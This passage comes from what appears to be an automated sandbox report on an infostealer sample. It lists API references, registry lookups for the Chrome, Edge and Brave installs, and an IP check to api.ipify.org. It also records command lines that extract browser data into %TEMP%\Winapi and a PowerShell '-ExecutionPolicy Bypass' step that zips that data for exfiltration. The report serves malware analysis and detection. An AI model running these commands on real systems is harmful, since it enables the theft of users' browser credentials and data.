"00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp")57:T67c,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp")58:T11b2,Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp")59:T16ce,"egistry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00004036.00000000.208379.99AF1000.00000020.mdmp "istry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004036.00000000.208379.99AF1000.00000020.mdmp "Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004036.00000000.208379.99AF1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004036.00000000.208379.99AF1000.00000020.mdmp "ine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004036.00000000.208379.99AF1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00004036.00000000.208379.99AF1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00004036.00000000.208379.99AF1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004036.00000000.208379.99AF1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004036.00000000.208379.99AF1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004036.00000000.208379.99AF1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004036.00000000.208379.99AF1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004036.00000000.208379.99AF1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004036.00000000.208379.99AF1000.00000020.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004036.00000000.208379.99AF1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00004140.00000000.208241.85E2F000.00000002.mdmp 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00004140.00000000.208241.85E2F000.00000002.mdmp 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004140.00000000.208241.85E2F000.00000002.mdmp 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004140.00000000.208241.85E2F000.00000002.mdmp 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004140.00000000.208241.85E2F000.00000002.mdmp 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004140.00000000.208241.85E2F000.00000002.mdmp 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004140.00000000.208241.85E2F000.00000002.mdmp 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004140.00000000.208241.85E2F000.00000002.mdmp 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004140.00000000.208241.85E2F000.00000002.mdmp 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp "\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00004140.00000000.208241.85E2F000.00000002.mdmp 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp5a:T64c,Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004036.00000000.208379.99AF1000.00000020.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004036.00000000.208379.99B4A000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004140.00000000.208241.85E2F000.00000002.mdmp, 00000000-00004140.00000001.209519.85DE8000.00000002.mdmp, 00000000-00004140.00000001.209519.85E2F000.00000002.mdmp")5b:T89f," nul\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00004140-00000C47-1736722334\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c chcp 65001 > nul\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00004140-00000C47-1736722334\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"$42","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$44","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$45","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commands \"powershell -ExecutionPolicy Bypass -Command \"Compress-Archive -Path '%TEMP%\\\\\\\\Winapi\\\\*' -DestinationPath '%TEMP%\\\\\\\\win.zip' -Force\"\" (UID: 00000000-00006024)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$46","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"69e8aa04b0b1862009b599e38f78edebd41d2e8ab3545531d71a76661e1d1338.bin\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"chromelevator.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"PL91A2.tmp\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\chrome.sync.8298.9171.D1E4\n Found string - \\\\.\\pipe\\msedge.sync.22475.11455\n Found string - \\\\.\\pipe\\PSHost.134205370412566849.6024.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$47","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"\"GET / HTTP/1.1\nUser-Agent: Kortex\nHost: api.ipify.org\nCache-Control: no-cache\" Response ==> HTTP/1.1 200 OK\nDate: Sun\n 12 Apr 2026 23:57:13 GMT\nContent-Type: text/plain\nContent-Length: 13\nConnection: keep-alive\nServer: cloudflare\nVary: Origin\ncf-cache-status: DYNAMIC\nCF-RAY: 9eb62c0e3e0d3023-SJC with response body ==>36342E3132342E31322E313632.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$48","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 0F870000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 2F160000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\" nul\" [Source: 00000000-00004140-00000C47-1736722334]\n Observed system executable string:\"%WINDIR%\\System32\\cmd.exe\" [Source: 00000000-00004140-00000BC0-2217814649]\n Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00004140-00000BC0-2229656417]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"PL91A2.tmp\" (UID: 00000000-00004140) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\"\"\n Process \"PL91A2.tmp\" (UID: 00000000-00004140) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"\n Process \"chcp.com\" (UID: 00000000-00007956) was launched with new environment variables: \"PROMPT=\"$P$G\"\"\n Process \"chromelevator.exe\" (UID: 00000000-00004036) was launched with new environment variables: \"FPS_BROWSER_APP_PROFILE_STRING=\"Internet Explorer\", FPS_BROWSER_USER_PROFILE_STRING=\"Default\"\"\n Process \"chromelevator.exe\" (UID: 00000000-00004036) was launched with missing environment variables: \"PROMPT\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.ipify.org\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"PL91A2.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"PL91A2.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"PL91A2.tmp\" (UID: 00000000-00004140)\n Spawned process \"cmd.exe\" with commandline \"/c chcp 65001 > nul\" (UID: 00000000-00002908)\n Spawned process \"chcp.com\" with commandline \"chcp 65001\" (UID: 00000000-00007956)\n Spawned process \"chromelevator.exe\" with commandline \"chrome --output-path \"%TEMP%\\\\\\\\Winapi\\\\Browsers\\\\Chrome_raw\" -- ...\" (UID: 00000000-00004036)\n Spawned process \"chrome.exe\" (UID: 00000000-00006716)\n Spawned process \"chromelevator.exe\" with commandline \"edge --output-path \"%TEMP%\\\\\\\\Winapi\\\\Browsers\\\\Edge_raw\" --kill\" (UID: 00000000-00004896)\n Spawned process \"msedge.exe\" (UID: 00000000-00004516)\n Spawned process \"powershell.exe\" with commandline \"powershell -ExecutionPolicy Bypass -Command \"Compress-Archive -P ...\" (UID: 00000000-00006024)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"PL91A2.tmp\" (UID: 00000000-00004140)\n Spawned process \"cmd.exe\" with commandline \"/c chcp 65001 > nul\" (UID: 00000000-00002908)\n Spawned process \"chcp.com\" with commandline \"chcp 65001\" (UID: 00000000-00007956)\n Spawned process \"chromelevator.exe\" with commandline \"chrome --output-path \"%TEMP%\\\\\\\\Winapi\\\\Browsers\\\\Chrome_raw\" -- ...\" (UID: 00000000-00004036)\n Spawned process \"chrome.exe\" (UID: 00000000-00006716)\n Spawned process \"chromelevator.exe\" with commandline \"edge --output-path \"%TEMP%\\\\\\\\Winapi\\\\Browsers\\\\Edge_raw\" --kill\" (UID: 00000000-00004896)\n Spawned process \"msedge.exe\" (UID: 00000000-00004516)\n Spawned process \"powershell.exe\" with commandline \"powershell -ExecutionPolicy Bypass -Command \"Compress-Archive -P ...\" (UID: 00000000-00006024)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\" nul\" (Indicator: \"chcp\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"PL91A2.tmp\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006024)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: PL91A2.tmp]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"69dc312f0c09d771c20662a6"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string 